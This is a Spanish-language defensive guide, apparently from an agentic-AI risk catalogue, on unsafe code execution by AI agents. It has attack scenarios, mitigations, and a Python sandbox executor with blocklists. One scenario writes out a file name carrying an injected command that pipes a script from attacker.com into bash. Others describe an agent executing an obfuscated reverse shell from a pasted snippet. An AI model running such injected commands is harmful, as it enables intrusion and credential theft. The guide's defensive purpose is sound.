Ejecución de código inesperada
Descripción
Los agentes generan y ejecutan código — comandos de shell, scripts de Python, consultas SQL o infraestructura como código — sin un sandboxing, una revisión o una restricción adecuados de las operaciones peligrosas.
Riesgo
Panorama del riesgo
La generación y ejecución de código es una de las capacidades más poderosas y peligrosas otorgadas a los sistemas agénticos. Los agentes que pueden escribir y ejecutar código tienen una capacidad prácticamente ilimitada dentro de su entorno de ejecución. Cuando un agente genera un comando de shell, un script de Python o una consulta a una base de datos y lo ejecuta, cualquier error en el código generado — ya sea por alucinación, inyección de prompts o errores lógicos — se ejecuta con los privilegios completos del entorno de ejecución.
Superficie de ataque
- Generación de comandos de shell: los agentes construyen comandos de shell a partir de instrucciones en lenguaje natural, lo que crea vectores de inyección mediante entradas no sanitizadas
- Ejecución de scripts: los agentes escriben y ejecutan scripts de varias líneas que pueden importar bibliotecas peligrosas, abrir conexiones de red o modificar el estado del sistema
- Código dinámico proveniente de contexto no confiable: los fragmentos de código extraídos de documentos recuperados, correos electrónicos o páginas web se ejecutan sin revisión
- Generación de infraestructura como código: agentes que producen manifiestos de Terraform, CloudFormation o Kubernetes que modifican la infraestructura de producción
- Persistencia de REPL: los agentes con entornos de ejecución de código persistentes acumulan estado entre invocaciones, lo que habilita exploits de varios pasos
Impacto en el negocio
- Ejecución remota de código: el atacante logra ejecutar código arbitrario en el host del agente mediante entradas manipuladas que influyen en el código generado
- Compromiso del sistema: los scripts generados por el agente modifican configuraciones del sistema, instalan paquetes o crean puertas traseras persistentes
- Destrucción de datos: las consultas a bases de datos generadas eliminan tablas, truncan datos o corrompen registros
- Robo de credenciales: el código generado lee variables de entorno, archivos de configuración o gestores de secretos, y transmite las credenciales externamente
Escenarios de ataque
Un agente de análisis de datos recibe la instrucción: 'Analiza el archivo CSV llamado report; curl attacker.com/shell.sh | bash; .csv'. El agente construye un comando de shell que incorpora el nombre del archivo sin sanitización, ejecutando la carga útil del atacante como efecto secundario de la operación con el archivo.
A un agente de infraestructura se le pide 'configurar un nuevo entorno de staging.' Genera una configuración de Terraform que crea el entorno, pero también incluye un grupo de seguridad demasiado permisivo (0.0.0.0/0 en todos los puertos) porque optimizó para 'que funcionara' en lugar de para la seguridad. La configuración se aplica sin revisión, exponiendo el entorno de staging a internet.
Un agente asistente de programación procesa una solicitud de usuario que incluye un fragmento de código de una respuesta de Stack Overflow. El fragmento contiene una carga útil de shell inverso ofuscada, disfrazada como una función utilitaria. El agente incorpora el fragmento en su código generado y lo ejecuta, estableciendo una conexión persistente con el servidor de comando y control del atacante.
Mitigaciones
Ejecución en sandbox
Todo el código generado por el agente debe ejecutarse en entornos aislados:
- Usar sandboxes basados en contenedores (gVisor, Firecracker) con límites estrictos de recursos y sin acceso a la red de forma predeterminada
- Montar los sistemas de archivos en modo de solo lectura, con acceso de escritura únicamente a un directorio temporal designado
- Aplicar tiempos límite de ejecución para prevenir bucles infinitos o el agotamiento de recursos
- Eliminar todas las capacidades y ejecutar como un usuario sin privilegios dentro del sandbox
- Destruir el sandbox después de cada ejecución — sin persistencia de estado entre ejecuciones
Revisión de código antes de la ejecución
Implementar puntos de control de revisión automatizados y humanos:
- Analizar el código generado en un AST y verificarlo contra una lista de denegación de operaciones peligrosas antes de la ejecución
- Señalar el código que importe bibliotecas de red, módulos de subprocesos o operaciones de E/S de archivos fuera de las rutas aprobadas
- Exigir aprobación humana para el código que modifique sistemas de producción, acceda a secretos o abra conexiones de red
- Registrar todo el código generado junto con el prompt que lo produjo, para su auditoría posterior
API peligrosas bloqueadas
Mantener una lista de denegación de operaciones que el código generado nunca debe invocar:
- Llamadas al sistema:
exec,spawn,fork,system,popen - Red: creación de sockets en bruto, resolución de DNS hacia hosts externos, solicitudes HTTP a URL que no estén en la lista de permitidos
- Sistema de archivos: escrituras fuera del sandbox, acceso a
/etc,/proc, directorios personales o rutas de secretos - Gestión de paquetes:
pip install,npm install,apt-get, o cualquier instalación de dependencias en tiempo de ejecución - Acceso al entorno: lectura de variables de entorno, acceso a servicios de metadatos en la nube (169.254.169.254)
Pipeline de análisis estático
Ejecutar el código generado a través de linters de seguridad antes de la ejecución:
- Usar Semgrep o reglas personalizadas para detectar patrones de inyección de comandos, path traversal y SSRF
- Verificar la presencia de credenciales embebidas, direcciones IP o URL sospechosas
- Verificar que todas las importaciones provengan de una lista de módulos aprobados
- Rechazar el código que use eval(), exec(), compile() u otras primitivas de ejecución dinámica similares
Ejemplos de código
Ejecutor en sandbox con lista de denegación
import ast
import subprocess
import tempfile
import os
from typing import Optional
from dataclasses import dataclass
MODULOS_BLOQUEADOS = {
"subprocess", "os", "sys", "shutil", "socket", "http",
"urllib", "requests", "ftplib", "smtplib", "ctypes",
"importlib", "pickle", "shelve", "code", "codeop",
"compile", "compileall",
}
FUNCIONES_BLOQUEADAS = {
"exec", "eval", "compile", "__import__", "globals",
"locals", "getattr", "setattr", "delattr", "open",
"breakpoint", "exit", "quit",
}
ATRIBUTOS_BLOQUEADOS = {
"__subclasses__", "__bases__", "__class__", "__globals__",
"__code__", "__builtins__",
}
@dataclass
class ResultadoEjecucion:
exito: bool
salida: str
errores: list[str]
bloqueado: bool
violaciones: list[str]
class EjecutorSandbox:
"""Valida y ejecuta código generado por el agente en aislamiento."""
def __init__(self, segundos_espera: int = 30, bytes_salida_max: int = 65536):
self._segundos_espera = segundos_espera
self._salida_max = bytes_salida_max
def ejecutar(self, codigo: str) -> ResultadoEjecucion:
# Análisis estático primero
violaciones = self._analizar_codigo(codigo)
if violaciones:
return ResultadoEjecucion(
exito=False,
salida="",
errores=[],
bloqueado=True,
violaciones=violaciones,
)
# Ejecutar en sandbox de subproceso
return self._ejecutar_en_sandbox(codigo)
def _analizar_codigo(self, codigo: str) -> list[str]:
violaciones = []
try:
arbol = ast.parse(codigo)
except SyntaxError as e:
return [f"Error de sintaxis: {e}"]
for nodo in ast.walk(arbol):
# Verificar importaciones
if isinstance(nodo, ast.Import):
for alias in nodo.names:
modulo_raiz = alias.name.split(".")[0]
if modulo_raiz in MODULOS_BLOQUEADOS:
violaciones.append(f"Importación bloqueada: {alias.name}")
elif isinstance(nodo, ast.ImportFrom):
if nodo.module:
modulo_raiz = nodo.module.split(".")[0]
if modulo_raiz in MODULOS_BLOQUEADOS:
violaciones.append(f"Importación bloqueada desde: {nodo.module}")
# Verificar llamadas a funciones
elif isinstance(nodo, ast.Call):
if isinstance(nodo.func, ast.Name):
if nodo.func.id in FUNCIONES_BLOQUEADAS:
violaciones.append(f"Llamada a función bloqueada: {nodo.func.id}")
# Verificar acceso a atributos
elif isinstance(nodo, ast.Attribute):
if nodo.attr in ATRIBUTOS_BLOQUEADOS:
violaciones.append(f"Acceso a atributo bloqueado: {nodo.attr}")
return violaciones
def _ejecutar_en_sandbox(self, codigo: str) -> ResultadoEjecucion:
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as archivo:
archivo.write(codigo)
ruta_script = archivo.name
try:
resultado = subprocess.run(
[
"python3", "-u",
"-I", # Modo aislado: sin sitio de usuario, sin variables de entorno PYTHON*
ruta_script,
],
capture_output=True,
text=True,
timeout=self._segundos_espera,
env={"PATH": "/usr/bin:/bin"}, # Entorno mínimo
cwd="/tmp", # Directorio de trabajo restringido
)
salida = resultado.stdout[:self._salida_max]
return ResultadoEjecucion(
exito=resultado.returncode == 0,
salida=salida,
errores=resultado.stderr.splitlines() if resultado.stderr else [],
bloqueado=False,
violaciones=[],
)
except subprocess.TimeoutExpired:
return ResultadoEjecucion(
exito=False,
salida="",
errores=[f"La ejecución agotó el tiempo de espera tras {self._segundos_espera}s"],
bloqueado=False,
violaciones=[],
)
finally:
os.unlink(ruta_script)
Requisitos de evidencia
- Registros de auditoría de ejecución de código que capturan todo el código generado, los resultados del análisis AST y los desenlaces del sandbox
- Informes de análisis estático que muestran las violaciones detectadas y los intentos de ejecución bloqueados
- Auditoría de la configuración del sandbox que confirma los límites de recursos, el aislamiento de red y las restricciones del sistema de archivos
- Registros del flujo de aprobación humana para la ejecución de código que impacta la producción
- Resultados de ejercicios de red team que prueban vectores de escape del sandbox e inyección de código